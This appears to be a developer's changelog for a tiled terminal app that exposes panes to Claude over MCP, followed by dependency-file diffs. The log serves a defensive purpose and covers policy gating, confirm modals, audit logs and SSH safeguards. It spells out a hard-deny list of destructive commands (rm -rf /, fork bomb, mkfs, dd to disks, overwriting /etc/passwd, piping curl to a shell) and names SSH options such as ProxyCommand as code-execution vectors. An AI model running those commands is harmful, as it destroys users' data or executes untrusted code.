- `autoAllowSpawnedSsh` — when off, SSH panes Claude spawns start with `mcpAllow=false`. User must explicitly toggle 🤖 before Claude can read scrollback or write keystrokes. UI disables the second checkbox when the first is off (visual "this depends on that").
Together: fresh install + safeguards = Claude has *no* ability to autonomously touch SSH. Power-user can flip switches independently for graduated trust.
**Polish bundle (`6da7523`) — three small follow-ups from PR-3 testing:**
1. **Removed SSH variant from `mcp::spawn_pane`'s schema entirely.** New `McpSpawnSpec` enum (Wsl | Powershell only), used only by `SpawnPaneArgs`. Internal `pty::SpawnSpec` keeps all three for the existing frontend-driven spawn path. Reason: `spawn_pane(kind=ssh)` was a half-broken path — required `host` as a mandatory field even when `hostId` was given, so serde rejected the natural "spawn to a saved host" shape. Claude now sees two clearly-scoped tools and routes "open a pane to testbox" to `connect_host` automatically (verified via natural-language test).
2. **Refreshed `with_instructions` + module header comment.** Both still claimed "read-only v1" long after the write surface landed; Claude was refusing tools on first contact citing the stale instructions. New text describes the actual surface, points at `connect_host` for SSH, mentions the policy/safeguards gates.
3. **Connect button in the SSH hosts manager.** The dialog previously had only Edit — users (rightly) expected clicking a saved host to spawn an SSH pane. Green button next to Edit, wrapped in a flex container so the row's `space-between` layout keeps both actions right-aligned. Closes the manager on click and splits off the active pane with smart-orient.
**Four integration bugs + recurring patterns worth remembering:**
1. **`Tauri 2` `AppHandle::emit` moved onto the `tauri::Emitter` trait** — needs `use tauri::Emitter;`. The error message tells you (well, with `--explain`), but it's an easy stumbling block.
2. **`McpError` constructors take `impl Into<Cow<'static, str>>`.** Pass owned `String` from `format!(...)`, not `&format!(...)` — the temporary is dropped before the `'static` lifetime can be satisfied.
3. **React 18 `StrictMode` race with `listen()` inside `useEffect`.** Always use the cancelled-flag pattern; never just `let un; .then(fn => un = fn)` because the cleanup runs before the Promise resolves on the pretend-unmount.
4. **Serde rename mismatch between Rust and TS.** Rust `pub ssh_safeguards` serializes as `ssh_safeguards` unless the struct has `#[serde(rename_all = "camelCase")]`. The frontend reading `policy.sshSafeguards` got `undefined`, threw during render, blanked the whole app. Add `rename_all` on every struct that crosses the IPC boundary.
**New defensive primitive: `ErrorBoundary.tsx`.** Wraps the App root + each MCP panel tab. A render exception anywhere shows a small red error card with the message + a "Try again" button instead of unmounting the entire React tree and showing a black window. Caught bug #4 above. Wrap any future high-risk component too (especially anything reading from MCP state).
**5 of 9 v2 tools verified end-to-end with Claude:** set_label, write_pane, spawn_pane (local), connect_host, close_pane (regression). The hard-deny + rate-limit + audit + confirm + Always-Allow flow all working.
Open follow-ups specific to this session, ordered by priority:
- **PR-4: `add_host` + `extraArgs` sanitiser.** Lets Claude register new SSH hosts in hosts.json. Sanitiser must reject `ProxyCommand`, `LocalCommand`, `KnownHostsCommand`, `PermitLocalCommand=yes`, and any `-o` keys that take a shell command — those are local-RCE-at-ssh-invocation primitives (CVE-2023-51385 class). Probably also bundle `delete_host` for symmetry. Consider a third SSH safeguard switch ("Allow Claude to save new SSH hosts", default off) to gate the new tool the same way `allowOpenSsh` gates `connect_host`. ~3-4 hours total.
- **v2.1 — wire the `PolicyClassifier` hook.** Currently scaffolded as `NoopClassifier`; calls falling through to Ask could optionally be upgraded to Allow by a small LLM (Haiku via Anthropic API is the cheapest path; Ollama for local). Trade-offs: API key surface in settings, latency on Ask calls, predictability vs. fewer prompts. Defer until the prompt fatigue actually starts biting in daily use.
- **PowerShell hard-deny patterns.** Currently the 10 baked-in patterns are POSIX-only (rm -rf /, mkfs, etc.). PowerShell equivalents (`Remove-Item -Recurse -Force C:\`, `Format-Volume`, etc.) deserve the same circuit-breaker. Add when users actually run write_pane against PowerShell panes in anger.
- **Per-leaf-shellKind policy scoping.** Today `write_pane(*)` in the Allow bucket allows ALL write_pane calls, including SSH ones — which bypasses the SSH-extra warning modal. Want something like `write_pane(local)` and `write_pane(ssh)` discriminators so users can silent-allow locally while still asking on SSH. Schema design needed: extend the glob matcher with shellKind predicates, or just hard-code that the bare-tool-name allow rule never applies to SSH targets. Probably the latter for simplicity.
- **`.mcpb` bundle** for one-click Claude Desktop install — would package the `mcp-remote` shim invocation + bearer placeholder. Same scope it was in earlier sessions.
- **Audit-log persistence.** Currently ephemeral ring of 200. A `mcp-audit.jsonl` append-only file in app data dir would let users see "what did Claude do overnight." Trade-off: secrets-in-summaries risk if `write_pane` text leaks past the 80-char truncation. Defer until requested.
- **Confirm-modal queue UX.** FIFO single-modal-at-a-time today. If Claude burst-fires many tool calls, the user serially clicks through them. Adding a "reject all pending" button is cheap if it ever annoys.
- **Module-level header in `mcp.rs` still calls out the 9-tool list** — keep this in sync if you add or rename tools. The MCP `with_instructions` text and the tool descriptions also need attention every time the surface changes (Claude reads both for routing decisions).
### 2026-05-26 — MCP v2 PR-2: tree-shape writes (close, swap, promote, apply_preset)
Commit `e0ce223`. Four more tools wired through the existing PR-1b dispatcher pipeline (`dispatch_action` → policy check → confirm modal → audit), all touching the layout tree but not PTYs or spawn. Mechanically the same shape as `set_label`: define args struct on backend, validate via `require_visible_leaf` (factored out — 5 tools now use it), dispatch with stable `args_repr`, frontend `runMcpHandler` case applies the mutation via the same setters the UI uses.
**`apply_preset`'s data-loss path is non-interactive.** If applying the preset would drop panes and the caller didn't pass `allow_drops: true`, the frontend handler throws with a descriptive message listing the labels of the panes that would be killed. Claude sees the error, decides whether to retry with `allow_drops: true`. Avoids ambushing the user with a destructive confirm modal — the user already approved the high-level "reshape" action; the per-pane consequences are surfaced to Claude, not them. The audit log shows the failed call so the user still sees what was attempted.
**`PresetName` is a typed enum** (`single | two_columns | three_columns | two_rows | two_by_two`) with `serde(rename_all = "snake_case")` so Claude's tool schema gets autocomplete and the JSON wire form matches `apply_preset(two_columns)` style policy rules.
**`promote_pane` errors gracefully** when the parent shares orientation with the grandparent — same "no perpendicular split above it" condition the Ctrl+Shift+P keyboard shortcut already toasts. Reuses the existing `promoteLeaf(tree, id) === null` check.
5 of 9 planned v2 tools live now. PR-3 is the materially harder one (spawn_pane / write_pane / connect_host + rate limiter + SSH-specific confirm treatment); PR-4 is `add_host` + `extraArgs` sanitiser.
### 2026-05-26 — MCP v2 PR-1 + PR-1b: policy engine, audit log, dispatcher, `set_label` end-to-end
First two of four planned PRs for the MCP write surface. Shipped via fan-out (3 Sonnet agents in parallel + 1 Haiku for fuzz tests, then sequential integration by me). Two clean commits: `464c576` (PR-1 foundation) and `26ffe88` (PR-1b dispatcher + bug fixes).
**Architecture: Pattern A (event/reply RPC across the IPC boundary).** Frontend keeps tree authority (it's `useState` in App.tsx); backend MCP tool handlers can't synchronously call into JS. Tauri 2's `invoke` is JS→Rust only, so a backend-initiated mutation has to round-trip through events:
```
[MCP tool handler] [App.tsx]
build {requestId, tool, args, ...} ⟶ emit "mcp://request"
register oneshot in PendingActions frontend dispatcher:
await rx with 30s timeout 1. policy check decided needsConfirm
2. if needsConfirm → modal queue
3. runMcpHandler mutates tree
4. invoke("mcp_action_reply", {id, result})
⟵ oneshot resolves
emit "mcp://audit" with outcome
return to MCP client
```
`TileService` now holds an `AppHandle` and an `Arc<PendingActions>` (oneshot registry keyed by uuid-shaped id). The dispatch helper centralises policy → emit → await → audit emission for every write tool.
**Policy engine (`src-tauri/src/mcp_policy.rs`, 1152 lines).** Three-tier `allow / ask / deny`, deny-first precedence mirroring Claude Code's `.claude/settings.json` shape — users already know this DSL. Glob matcher (`*` only, not regex) with shell-operator-aware subcommand splitting on `&&`, `||`, `;`, `|`, `|&`, `&`, newline — a deny rule fires if ANY subcommand matches (defeats `safe-cmd && rm -rf /`).
**Hard-deny list — compiled-in, non-overridable, visible-only-in-UI.** Ten regex patterns the user CANNOT disable, applied to `write_pane` shell content:
1. `rm -rf /` (and option-order variants like `-Rf`)
2. `rm -rf ~` / `rm -rf $HOME`
3. `rm -rf /*`
4. `:(){ :|:& };:` (fork bomb)
5. `mkfs.<fs> /dev/...`
6. `dd ... of=/dev/(sd|nvme|hd|disk)...`
7. `> /etc/(passwd|shadow|sudoers)`
8. `curl|wget ... | (sudo )?(ba?sh|zsh)` (pipe to shell from network)
9. `chmod -R 777 /`
10. `find / ... -delete`
Caveats deliberately disclosed in the UI: best-effort accident prevention only (`\rm`, `${SHELL} -c`, aliases all bypass); POSIX-only in v2 (PowerShell equivalents deferred to v2.1); evaluated on the bytes sent in one `write_pane`, not after the remote shell composes them. *Not a sandbox.*
73 fuzz tests for the matcher (positive variations + lookalike negatives like `rm -rf /tmp/foo`, `dd of=backup.img`, `chmod 777 /tmp/file`). The shape-of-rule test grid is in `mod hard_deny_fuzz` at the bottom of mcp_policy.rs.
**Audit log surface.** Backend emits `mcp://audit` after every tool call resolves with `{tsMs, tool, argsSummary (truncated 80), result: ok|denied|failed, durationMs}`. Ring buffer of 200 entries. Args summary explicitly capped — `write_pane` text would otherwise turn the panel into a secret-leak surface if Claude pastes a token.
**`McpPanel` refactored into three tabs: Config / Audit / Policy.** Config kept the existing snippet/regen UI. Audit is a presentational table with chip-coloured rows. Policy is three vertically-stacked allow/ask/deny buckets with add/remove + a Save button, plus a read-only "Always blocked (built-in)" section showing the 10 hard-deny labels with "Cannot be disabled" badges.
**Confirm modal (`McpConfirm.tsx`).** Amber-bordered modal. Shows tool, policy reason ("default", a matched ask rule, etc.), a human-readable summary built per-tool (`Rename pane "X" → "Y"`), and an expandable raw-args block. Enter = accept, Esc = reject. Third button: **"Always allow {tool}"** — appends bare tool name to the policy allow bucket inline, then resolves the current call. Toast confirms.
**Default policy is empty → every call asks.** Restrictive by design; the user enables parts. Saved to `%APPDATA%\com.megaproxy.tiletopia\mcp-policy.json` via the same atomic tmp+rename pattern as `mcp.json`/`hosts.json`/`workspace.json`.
**Classifier hook scaffold (no-op).** `PolicyClassifier` trait + `ClassifierHint` enum + `NoopClassifier` in mcp_policy.rs. Not wired into `evaluate()` yet — placeholder for v2.1 where a small LLM (Haiku via Anthropic API, or local Ollama) classifies ambiguous Ask calls to maybe-upgrade them to Allow. Architecture supports it without further refactor.
**Demo tool wired end-to-end: `set_label`.** Pure metadata change; reuses the existing `ops.setLabel``changeLabel(tree, leafId, label)` path. No PTY, no SSH, no async spawn complexity. Perfect proof-of-concept for the dispatcher — every other v2 tool follows the same shape: arg struct, validate, dispatch_action with stable args_repr, frontend handler in `runMcpHandler` switch.
**Bugs hit during integration:**
1. **Tauri 2 trait-not-in-scope.** `AppHandle::emit` moved onto `tauri::Emitter` trait in Tauri 2. The error message helpfully says "trait `Emitter` which provides `emit` is implemented but not in scope" — just `use tauri::Emitter;` next to `Manager`. Worth remembering for any future event-emission code.
2. **`McpError` constructors want `'static` strings.** Signature is `impl Into<Cow<'static, str>>`. Passing `&format!(...)` or `&e.to_string()` fails (`temporary value dropped while borrowed`). Pass the owned `String` directly — auto-converts to `Cow::Owned`. Bit me at three sites in dispatch_action.
3. **React 18 StrictMode race with `listen()`.** Classic pattern bug: `useEffect(() => { let un; void listen(...).then(fn => { un = fn }); return () => un?.() }, []);` is broken in StrictMode because the cleanup runs before the Promise resolves on the pretend-unmount, leaving the first subscription dangling. Real-world symptom was duplicate audit entries and modal-needs-two-clicks (each event handled by both subscriptions). Fix is the cancelled-flag pattern:
```ts
let cancelled = false;
let unlisten;
void listen(...).then(fn => { if (cancelled) fn(); else unlisten = fn; });
return () => { cancelled = true; unlisten?.(); };
```
Worth using *anywhere* we subscribe-via-Promise inside `useEffect`, not just for MCP events. Vite HMR also surfaces this if you're not careful — a clean restart confirmed the fix held.
4. **Stale state when audit subscription lived in AuditTab.** AuditTab unmounts when the user switches tabs or closes the panel; events fired during that window were dropped. Lifted subscription to App.tsx, made AuditTab presentational (props in, table out). Same pattern any "always-on log" should follow.
5. **rmcp's DNS-rebinding allowlist re-bit us once.** The earlier session disabled it for WSL connectivity; PR-1 didn't regress this but it's a pattern to keep flagged — `StreamableHttpServerConfig::default().disable_allowed_hosts()` stays mandatory for our use case.
**Frontend ↔ backend contract worth saving:**
- `mcp://request` event payload (camelCase): `{requestId, tool, args, needsConfirm, reason}`
- `mcp://audit` event payload: `{tsMs, tool, argsSummary, result: {kind:"ok"|"denied"|"failed", ...}, durationMs}`
- `mcp_action_reply` Tauri command takes `{requestId, result}` where result is externally-tagged `{Ok: value}` or `{Err: msg}` — that's serde's default tagging for `Result<T,E>`, NOT a custom shape.
- Tauri 2 command argument-name binding: JS sends `{policy}`, Rust receives `policy: McpPolicy` — direct lowercase match. McpPolicy has no `#[serde(rename_all = ...)]`, so field keys (`version`, `permissions`, `deny`, `ask`, `allow`) match identity. Verified with debug-log instrumentation during the save-not-persisting investigation (it was actually working; user's first test predated the cargo rebuild).
Open follow-ups specific to this session:
- **PR-2 (next):** `close_pane`, `swap_panes`, `promote_pane`, `apply_preset`. Same dispatcher shape; the `apply_preset` data-loss case wants an `allow_drops: true` arg rather than a separate modal (per the earlier scope notes).
- **PR-3 (the hard one):** `spawn_pane`, `write_pane`, `connect_host`. Needs (a) spawn-completion oneshot resolution chain (await `registerPaneId`), (b) per-host SSH confirm even on spawn (Claude opening a shell on prod is equally consequential to writing to it), (c) rate limiter on `write_pane` (per OWASP LLM06 + MCP spec MUST).
- **PR-4:** `add_host` + `extraArgs` sanitiser (ProxyCommand exfil risk for OpenSSH).
- **v2.1 classifier:** wire `PolicyClassifier` into `evaluate()` so Ask calls can be auto-upgraded to Allow by a small LLM. Haiku is the cheap/fast pick; needs an API key surface in settings.
- **PowerShell hard-deny patterns** (`Remove-Item -Recurse -Force C:\`, `Format-Volume`, etc.). Deferred until users actually use PowerShell panes with MCP enabled.
- **`.mcpb` bundle** — still on the list; PR-1b's stdio-shim recipe is what it would package up.
- **Confirm modal queueing UX** — currently shows one at a time, FIFO. If Claude burst-sends many tool calls, the user gets serial modals. Probably fine for v2; if it gets annoying, add a "reject all pending" button.
- **Audit log persistence** — currently ephemeral ring of 200. A `mcp-audit.jsonl` append-only file in app data dir would let users see "what did Claude do overnight". Trade-off: secrets-in-summaries risk if `write_pane` text leaks past the 80-char truncation. Deferred.
- **xterm.js RenderService errors** (`Cannot read properties of undefined (reading 'dimensions')`) showed up in dev tools during this session — completely unrelated to MCP work, likely a pane being resized or detached mid-render. File when convenient.
### 2026-05-26 — MCP persistence + Claude Code OAuth bug + `mcp-remote` shim
Set out to fix two paper cuts (port + token re-rolled every server restart, so firewall rules and `.mcp.json` had to be re-pasted). Ended up unwinding a multi-layer breakage in Claude Code's HTTP-MCP client.
**Persistence (the actual goal, in commit `799f507`):**
- Added `McpPersistedConfig { port, token }` saved to `%APPDATA%\com.megaproxy.tiletopia\mcp.json`. Default port **47821** (IANA-unassigned range). `start_server` tries the saved port first, falls back to OS-picked + warning log if it's taken (saved port is preserved for the next attempt — transient conflicts shouldn't burn the user's firewall rule).
- New `mcp_regenerate_token` command + **Regenerate** button in `McpPanel`. Confirms before rotating (existing clients break). If server is running, stops + restarts with the new token so the live auth middleware picks it up.
- Token loaded on every `start_server`, so `McpState.bearer_token` is always in sync with `mcp.json`.
**The chain of failures (each fix exposed the next layer):**
1. **WSL → Windows TCP timeouts.** User had auto-created Windows Defender Firewall **Block (Public)** rules for `tiletopia.exe` from earlier launches. Block rules win over Allow rules in WDF. Fix: nuke all `tiletopia*` rules, create one `Allow Any-profile LocalPort 47821` rule. Confirmed working with curl 401 from Windows + WSL.
2. **rmcp DNS-rebinding allowlist** (`StreamableHttpServerConfig.allowed_hosts` defaults to `["localhost", "127.0.0.1", "::1"]`). WSL clients hit via the gateway IP `172.x.x.1`, which isn't in the list — rmcp logged `rejected request with disallowed Host header`. Fix: `.disable_allowed_hosts()` on the config. Bearer auth handles the real gatekeeping; we're not in a browser context.
3. **Bearer auth middleware intercepted OAuth-discovery probes.** Claude Code probes `/.well-known/oauth-protected-resource`, `/.well-known/oauth-authorization-server`, `/register`, etc. before sending the static bearer. Our middleware was returning `401 + WWW-Authenticate: Bearer` on those paths — Claude interpreted that as "OAuth supported" and abandoned the static bearer in `.mcp.json`. Fix: skip auth enforcement for any path outside `/mcp` (`mcp.rs:bearer_auth`).
4. **Claude Code's HTTP-MCP client is OAuth-only-ish.** Even with discovery paths returning bare 404s, Claude's `/mcp` UI hung in `Needs authentication`, never sent a real `POST /mcp`, and offered an "Authenticate" button that opened a (non-existent) browser flow. Logs confirmed: not a single `MCP request` after `MCP server listening`. The `headers: { Authorization: "Bearer ..." }` field IS the [documented mechanism](https://code.claude.com/docs/en/mcp), but it's broken in Claude Code per [#17152](https://github.com/anthropics/claude-code/issues/17152) (cosmetic UI bug) and [#46879](https://github.com/anthropics/claude-code/issues/46879) (auth requirement triggered by the *existence* of well-known endpoints, not by 401 responses).
**The working path: `mcp-remote` stdio shim.** Replace the HTTP server entry in `.mcp.json` with:
```json
{
"mcpServers": {
"tiletopia": {
"command": "npx",
"args": [
"-y", "mcp-remote",
"http://127.0.0.1:47821/mcp",
"--allow-http",
"--header", "Authorization: Bearer <token>"
]
}
}
}
```
From Claude's perspective tiletopia is now stdio; `mcp-remote` proxies every JSON-RPC call over HTTP with the bearer baked in, bypassing Claude Code's HTTP-MCP machinery entirely. **`--allow-http` is required** because mcp-remote blocks non-HTTPS URLs except for `localhost`. The panel's "Copy config snippet" generates this shape now.
**Cleanups after the shim worked:**
- Dropped the experimental `json_not_found` fallback handler (was added when we thought a JSON-bodied 404 would satisfy Claude's discovery parser; not needed once we went stdio).
- Diagnostic `tracing::info!` for per-request auth state dropped to `tracing::debug!` (silent by default, available behind `RUST_LOG=tiletopia_lib::mcp=debug`).
- README + help-overlay tip rewritten around the shim recipe + WSL firewall + WSL gateway-IP / mirrored-networking choice.
**Root-cause sequence worth remembering:** five distinct failures masked each other, and each new error message looked like a config bug. Methodical curl-from-WSL + log inspection was what cut through it — never trust the client's "auth failed" string without seeing whether the server was even reached.
Open follow-ups specific to this session:
- **CLAUDE.md (root) still says Svelte 5** in stack — was noted in 2026-05-25's entry too; still not fixed.
- **`.mcpb` bundle** would let Claude Desktop install the shim + bearer without hand-editing `.mcp.json`. Was already in the previous MCP TODO list; this session reinforces the need.
- **Direct HTTP-MCP** can drop the shim once Claude Code fixes #17152 / #46879. Worth watching those issues.
- **Panel could pre-flight check** for `npx` / Node presence on the WSL/host side and warn if missing. Currently the user only discovers the shim needs Node when Claude fails to spawn it.
- **Server-side OAuth metadata** (RFC 9728 PRM at `/.well-known/oauth-protected-resource`) is the spec-blessed path but requires actually implementing OAuth dynamic client registration. Big scope; not worth it for the shim's lifetime.
### 2026-05-25 — Reflow bug fix + titlebar tidy-up
- **Bug: terminal text reflowing every few seconds.** User reported "redrawing every few seconds" with text changing lines. Added a `console.trace` inside the `ResizeObserver` in `XtermPane.tsx`, then expanded the diagnostic to log titlebar/pane-wrap/leaf/toolbar heights. Caught it: titlebar was oscillating between **34px and 50px** in sync with pane heights changing by ±15.4px (one button-row).
- **Root cause: text-wrap inside flex buttons.** Titlebar is `display: flex` with default `flex-wrap: nowrap`. Buttons have no `white-space: nowrap`. On a narrow window, flex items shrink past their natural width → text wraps *inside* a button (e.g. "📡 all off" → two lines) → button grows ~16px → titlebar grows ~16px → `.pane-wrap` shrinks → `ResizeObserver` fires on every xterm → `fit()` reflows. The periodic flap was idle detection: when `idleLeafIds.size` toggles between 0 and N, `.layout-info` gains/loses " · N idle", which is just enough extra width to push a button across its wrap threshold. Same root cause on narrow per-pane toolbars (`tlb=37` was visible in the diagnostic for a 200px pane).
- **Fix:** lock heights on both bars. `.titlebar { height: 34px; white-space: nowrap; }` + `.titlebar > * { flex-shrink: 0 }`; same shape for `.pane-toolbar { height: 24px; ... }`. First attempt also used `overflow: hidden` which left an ugly horizontal scrollbar (auto) AND would have clipped dropdowns — removed. Final: `nowrap` + `flex-shrink:0` + fixed `height` is enough; overflow stays visible. Commit `e464464`.
- **Titlebar tidy-up.** Pre-fix titlebar was crowded (inline distro buttons + PowerShell + 🔑 SSH hosts + 5 preset buttons + others). Collapsed:
- Inline shell buttons → single **`Ubuntu ▾` dropdown** (WSL + Windows sections), reusing the existing `.distro-menu / .shell-menu` styles from `LeafPane.css` (global classes).
- 5 preset buttons → **`layout ▾` dropdown** (Single pane / Two columns / Three columns / Two rows / 2×2 grid).
- `🔑` stays as a separate icon-only button next to the shell picker.
- 🔔 test-toast button removed (dev crutch).
- **`+` spawn button.** User pointed out "default:" semantics were weak — the picked shell only fired on first-boot or close-last-pane. Repurposed: dropped the "default:" label, added a **`+` button** next to the picker. Click `+` → splits the active pane with the currently-picked shell, smart-oriented (split right if pane is wider than tall, down otherwise). Per-pane `⇥/⇣` arrows still inherit from parent (best for "another window into this context"); the titlebar selection only fires on `+` / boot / close-last. Commit `fa18307`.
Open follow-ups from this session:
- **CLAUDE.md still names Svelte 5** in the stack; should be updated to React 18.
- **Keyboard shortcut for `+`?** Currently mouse-only. `Ctrl+Shift+N` would be the conventional choice but isn't bound.
- **Narrow window UX.** With `overflow: visible`, titlebar items that don't fit horizontally render past the right edge / get clipped by the viewport. Acceptable but not great. A real fix is to collapse less-important items into an overflow menu when width is tight.
### 2026-05-25 — SSH + clickable links + promote + help + MCP v1
Big session, ~12 commits. Headlines:
- **PowerShell** as a third shell kind alongside WSL distros, then refactored to an explicit `shellKind: "wsl" | "powershell" | "ssh"` discriminator on `LeafNode` with migration on deserialize (legacy `distro:"PowerShell"``shellKind:"powershell"`).
- **Backend SpawnSpec enum** (serde-tagged) replaces the old `distro: Option<String>` model. `pty.rs::spawn` dispatches; SSH builds `ssh.exe -t [-l user] [-p port] [-i id] [-J jump] -- host` with `TERM=xterm-256color`. Token validation rejects leading `-` and control chars (CVE-2023-51385).
- **Clickable URLs** via `@xterm/addon-web-links` routed through `@tauri-apps/plugin-opener`. Needed scoped `opener:allow-open-url` permission with `http/https/mailto` allow list, not the bare identifier.
- **Saved SSH hosts** with manager modal (label/host/user/port/identityFile/jumpHost/extraArgs), stored in `hosts.json`. Hierarchical per-pane dropdown: WSL distros → PowerShell → SSH hosts → "Manage hosts…".
- **Saved passwords** in Windows Credential Manager via `keyring-core` 1.0 + `windows-native-keyring-store` 1.0 (keyring-rs 4.x is sample code only now; the lib was split). Reader thread autotypes the password when ssh prompts (`password:`/`passphrase` regex, 30s window, one-shot). Passwords never on disk, never in IPC events, never in MCP.
- **Promote-out gesture**: first tried drag-past-sibling (75% then 50% threshold), but the inner gutter is too easy to miss — xterm canvas hit-testing felt unreliable. Ripped all the drag-armed/preview logic, replaced with **Ctrl+Shift+P keyboard shortcut** that calls `promoteLeaf(tree, activeLeafId)` (self-inverse).
- **Help overlay**: titlebar `?` button + F1, sourced from a single `src/lib/shortcuts.ts` SoT (sections + tips).
- **MCP server v1 (read-only)** via `rmcp` 1.7.0 Streamable HTTP on 127.0.0.1, bearer-token auth, OS-picked port. Per-pane `mcpAllow` flag (default-deny) gates what's mirrored to the backend. Resources: `tiletopia://layout`, `tiletopia://panes`, `tiletopia://hosts`. Tools: `read_pane(leaf_id, last_lines, after_seq)` + `wait_for_idle(leaf_id, idle_ms, timeout_ms)`. 256 KB per-pane scrollback ring populated by the PTY reader thread. Titlebar 🤖 toggle opens an `McpPanel` with URL + token + ready-to-paste Claude config snippet.
- **WSL → Windows networking gotcha**: WSL2 default NAT mode hides Windows `127.0.0.1`. User needs `networkingMode=mirrored` in `%UserProfile%\.wslconfig` (Win 11 22H2+) then `wsl --shutdown` to reconnect. Documented in McpPanel + README + help overlay.
- **Tree-helper data model** also gained: `setLeafShell` (replaces `changeDistro` for shell switches; id-swap forces respawn), `promoteLeaf`, `toggleMcpAllow`. `reshapeToPreset` carries new fields. 72 vitest cases, all green.
Open follow-ups specific to this session:
- **MCP v2**`write_pane`, `spawn_pane`, `connect_host`, `close_pane`, `apply_preset`, `promote_pane`, `set_label`, `swap_panes`, `add_host`. Spawned panes should auto-set `mcpAllow=true` (per user). Still skip `set_host_password` from MCP.
- **MCP write surface should require a confirmation** for `write_pane` on SSH panes (footgun avoidance).
- **`.mcpb` bundle** as a one-click Claude Desktop install path.
- **Per-pane MCP audit log** in the panel — show last N tool calls so the user can spot Claude doing surprising things.
### 2026-05-22 — M5 ship infrastructure
- New icon: `scripts/make-icon.py` (Pillow) draws a 1024×1024 dark rounded square with a 2×2 grid — one tile in the active-blue, one in the broadcast-orange, two muted. Mirrors the in-app `.leaf.active` / `.leaf.broadcasting` colors so the brand is consistent end-to-end.

View file

@ -1,7 +1,7 @@
{
"name": "tiletopia",
"private": true,
"version": "0.2.0",
"version": "0.4.1",
"type": "module",
"scripts": {
"dev": "vite",
@ -9,12 +9,20 @@
"preview": "vite preview",
"test": "vitest run",
"test:watch": "vitest",
"check": "tsc --noEmit",
"check": "tsc -b",
"build:mcpb": "node scripts/build-mcpb.mjs",
"gen:readme": "node scripts/gen-readme-shortcuts.mjs",
"tauri": "tauri"
},
"dependencies": {
"@tauri-apps/api": "^2.0.0",
"@tauri-apps/plugin-clipboard-manager": "^2.0.0",
"@tauri-apps/plugin-opener": "^2.0.0",
"@xterm/addon-canvas": "^0.7.0",
"@xterm/addon-fit": "^0.10.0",
"@xterm/addon-search": "^0.15.0",
"@xterm/addon-unicode11": "^0.8.0",
"@xterm/addon-web-links": "^0.12.0",
"@xterm/xterm": "^5.5.0",
"react": "^18.3.0",
"react-dom": "^18.3.0"

64
pnpm-lock.yaml generated
View file

@ -11,9 +11,27 @@ importers:
'@tauri-apps/api':
specifier: ^2.0.0
version: 2.11.0
'@tauri-apps/plugin-clipboard-manager':
specifier: ^2.0.0
version: 2.3.2
'@tauri-apps/plugin-opener':
specifier: ^2.0.0
version: 2.5.4
'@xterm/addon-canvas':
specifier: ^0.7.0
version: 0.7.0(@xterm/xterm@5.5.0)
'@xterm/addon-fit':
specifier: ^0.10.0
version: 0.10.0(@xterm/xterm@5.5.0)
'@xterm/addon-search':
specifier: ^0.15.0
version: 0.15.0(@xterm/xterm@5.5.0)
'@xterm/addon-unicode11':
specifier: ^0.8.0
version: 0.8.0(@xterm/xterm@5.5.0)
'@xterm/addon-web-links':
specifier: ^0.12.0
version: 0.12.0
'@xterm/xterm':
specifier: ^5.5.0
version: 5.5.0
@ -505,6 +523,12 @@ packages:
engines: {node: '>= 10'}
hasBin: true
'@tauri-apps/plugin-clipboard-manager@2.3.2':
resolution: {integrity: sha512-CUlb5Hqi2oZbcZf4VUyUH53XWPPdtpw43EUpCza5HWZJwxEoDowFzNUDt1tRUXA8Uq+XPn17Ysfptip33sG4eQ==}
'@tauri-apps/plugin-opener@2.5.4':
resolution: {integrity: sha512-1HnPkb+AmgO29HBazm4uPLKB+r7zzcTBW1d0fyYp1uP+jwtpoiNDGKMMzz58SFp49nOIrxdE3aUJtT57lfO9CQ==}
'@types/babel__core@7.20.5':
resolution: {integrity: sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==}
@ -569,11 +593,29 @@ packages:
'@vitest/utils@2.1.9':
resolution: {integrity: sha512-v0psaMSkNJ3A2NMrUEHFRzJtDPFn+/VWZ5WxImB21T9fjucJRmS7xCS3ppEnARb9y11OAzaD+P2Ps+b+BGX5iQ==}
'@xterm/addon-canvas@0.7.0':
resolution: {integrity: sha512-LF5LYcfvefJuJ7QotNRdRSPc9YASAVDeoT5uyXS/nZshZXjYplGXRECBGiznwvhNL2I8bq1Lf5MzRwstsYQ2Iw==}
peerDependencies:
'@xterm/xterm': ^5.0.0
'@xterm/addon-fit@0.10.0':
resolution: {integrity: sha512-UFYkDm4HUahf2lnEyHvio51TNGiLK66mqP2JoATy7hRZeXaGMRDr00JiSF7m63vR5WKATF605yEggJKsw0JpMQ==}
peerDependencies:
'@xterm/xterm': ^5.0.0
'@xterm/addon-search@0.15.0':
resolution: {integrity: sha512-ZBZKLQ+EuKE83CqCmSSz5y1tx+aNOCUaA7dm6emgOX+8J9H1FWXZyrKfzjwzV+V14TV3xToz1goIeRhXBS5qjg==}
peerDependencies:
'@xterm/xterm': ^5.0.0
'@xterm/addon-unicode11@0.8.0':
resolution: {integrity: sha512-LxinXu8SC4OmVa6FhgwsVCBZbr8WoSGzBl2+vqe8WcQ6hb1r6Gj9P99qTNdPiFPh4Ceiu2pC8xukZ6+2nnh49Q==}
peerDependencies:
'@xterm/xterm': ^5.0.0
'@xterm/addon-web-links@0.12.0':
resolution: {integrity: sha512-4Smom3RPyVp7ZMYOYDoC/9eGJJJqYhnPLGGqJ6wOBfB8VxPViJNSKdgRYb8NpaM6YSelEKbA2SStD7lGyqaobw==}
'@xterm/xterm@5.5.0':
resolution: {integrity: sha512-hqJHYaQb5OptNunnyAnkHyM8aCjZ1MEIDTQu1iIbbTD/xops91NB5yq1ZK/dC2JDbVWtF23zUtl9JE2NqwT87A==}
@ -1172,6 +1214,14 @@ snapshots:
'@tauri-apps/cli-win32-ia32-msvc': 2.11.2
'@tauri-apps/cli-win32-x64-msvc': 2.11.2
'@tauri-apps/plugin-clipboard-manager@2.3.2':
dependencies:
'@tauri-apps/api': 2.11.0
'@tauri-apps/plugin-opener@2.5.4':
dependencies:
'@tauri-apps/api': 2.11.0
'@types/babel__core@7.20.5':
dependencies:
'@babel/parser': 7.29.3
@ -1260,10 +1310,24 @@ snapshots:
loupe: 3.2.1
tinyrainbow: 1.2.0
'@xterm/addon-canvas@0.7.0(@xterm/xterm@5.5.0)':
dependencies:
'@xterm/xterm': 5.5.0
'@xterm/addon-fit@0.10.0(@xterm/xterm@5.5.0)':
dependencies:
'@xterm/xterm': 5.5.0
'@xterm/addon-search@0.15.0(@xterm/xterm@5.5.0)':
dependencies:
'@xterm/xterm': 5.5.0
'@xterm/addon-unicode11@0.8.0(@xterm/xterm@5.5.0)':
dependencies:
'@xterm/xterm': 5.5.0
